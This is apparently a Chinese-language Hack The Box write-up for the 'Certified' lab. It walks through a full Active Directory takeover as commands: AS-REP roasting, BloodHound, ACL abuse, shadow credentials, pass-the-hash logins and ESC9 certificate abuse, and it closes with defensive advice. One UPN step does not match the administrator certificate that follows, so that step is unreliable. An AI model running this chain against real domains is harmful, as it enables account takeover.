HTB-certify-WriteUp
字数 1231 2025-08-29 22:41:38
HTB Certify 渗透测试实战教学文档
1. 初始信息收集
1.1 网络扫描
使用nmap进行初始扫描:
nmap -sC -sV -oA initial_scan 10.10.11.41
对发现的每个端口进行详细扫描,并确保将目标主机名添加到hosts文件中:
10.10.11.41 certified.htb dc01.certified.htb
1.2 SMB服务检查
尝试使用smbclient连接SMB服务:
smbclient -L //10.10.11.41 -U 'judith.mader%judith09'
2. 域环境攻击
2.1 AS-REP Roasting攻击
攻击原理:AS-REP Roasting是通过滥用Kerberos协议的工作方式发起的攻击,针对未启用预认证的账户。
攻击步骤:
- 枚举所有域用户
- 请求AS-REP响应
- 捕获和分析AS-REP响应中的加密信息
- 离线破解密码哈希
实际操作:
# 使用GetNPUsers.py尝试AS-REP Roasting
GetNPUsers.py certified.htb/judith.mader:judith09 -dc-ip 10.10.11.41 -request
2.2 BloodHound信息收集
使用BloodHound收集域环境信息:
bloodhound-python -c all -u 'judith.mader' -p 'judith09' -d certified.htb -dc DC01.certified.htb -ns 10.10.11.41 --zip
关键发现:
- judith.mader对management组有WriteOwner权限
- management组对management_svc用户有GenericWrite权限
- management_svc用户对ca_operator用户有GenericAll权限
3. 权限提升路径
3.1 修改组所有权
使用bloodyAD修改management组的所有者:
bloodyAD --host dc01.certified.htb -d certified.htb -u judith.mader -p 'judith09' set owner management judith.mader
3.2 添加写成员权限
验证并添加WriteMembers权限:
# 验证权限
impacket-dacledit -action read -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' -dc-ip 10.10.11.41 "certified.htb/judith.mader:judith09"
# 添加权限
impacket-dacledit -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' -dc-ip 10.10.11.41 "certified.htb/judith.mader:judith09"
3.3 加入management组
将judith.mader加入management组:
bloodyAD --host dc01.certified.htb -d certified.htb -u judith.mader -p 'judith09' add groupMember 'management' 'judith.mader'
4. 获取management_svc凭证
4.1 影子凭证攻击
使用pywhisker添加影子凭证:
python pywhisker.py -d "certified.htb" -u "judith.mader" -p judith09 --target management_svc --action add
4.2 获取TGT
使用PKINITtools申请TGT:
python gettgtpkinit.py -cert-pfx t0cZeyin.pfx -pfx-pass Ryk4iT9K3g7uEgqSfFG1 certified.htb/management_svc management_svc.ccache
注意:Kerberos对时间同步敏感,确保攻击机器与目标服务器时间差不超过5分钟:
ntpdate 10.10.11.41
4.3 获取NTLM哈希
设置环境变量后获取哈希:
export KRB5CCNAME=management_svc.ccache
python getnthash.py -key 3bff551f32ba6bc443866ce6a16d3d3c548785c40735c30d42a756824bb4c5ca certified.htb/management_svc
4.4 使用evil-winrm登录
evil-winrm -i dc01.certified.htb -u management_svc -H 'a091c1832bcdd4677c28b5a6a1295584'
5. 域证书服务攻击
5.1 查找易受攻击的证书模板
使用certipy-ad查找:
certipy-ad find -u judith.mader@certified.htb -p judith09 -dc-ip 10.10.11.41
5.2 控制ca_operator账户
修改ca_operator密码:
net user ca_operator redteam /DOMAIN
更新用户主体名称:
certipy account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb
5.3 请求易受攻击的证书
请求ESC9漏洞证书模板:
certipy req -username ca_operator@certified.htb -p redteam -ca certified-DC01-CA -template CertifiedAuthentication -debug
5.4 获取管理员哈希
使用证书进行认证:
certipy auth -pfx administrator.pfx -username administrator -domain certified.htb
6. 最终访问
使用获取的管理员凭证通过evil-winrm登录:
evil-winrm -i dc01.certified.htb -u administrator -H <获取的管理员哈希>
关键知识点总结
- AS-REP Roasting:针对未启用预认证的Kerberos账户的攻击方法
- BloodHound分析:识别域内权限关系链的关键工具
- ACL滥用:WriteOwner和WriteMembers权限的利用
- 影子凭证攻击:通过Key Credential属性获取目标账户访问权限
- AD CS攻击:利用证书模板漏洞进行域提权
- 时间同步:Kerberos认证对时间同步的严格要求
防御建议
- 对所有用户启用Kerberos预认证
- 定期审计域内ACL权限分配
- 限制Key Credential属性的写入权限
- 审查和加固证书模板配置
- 实施严格的时间同步策略
- 监控异常证书请求活动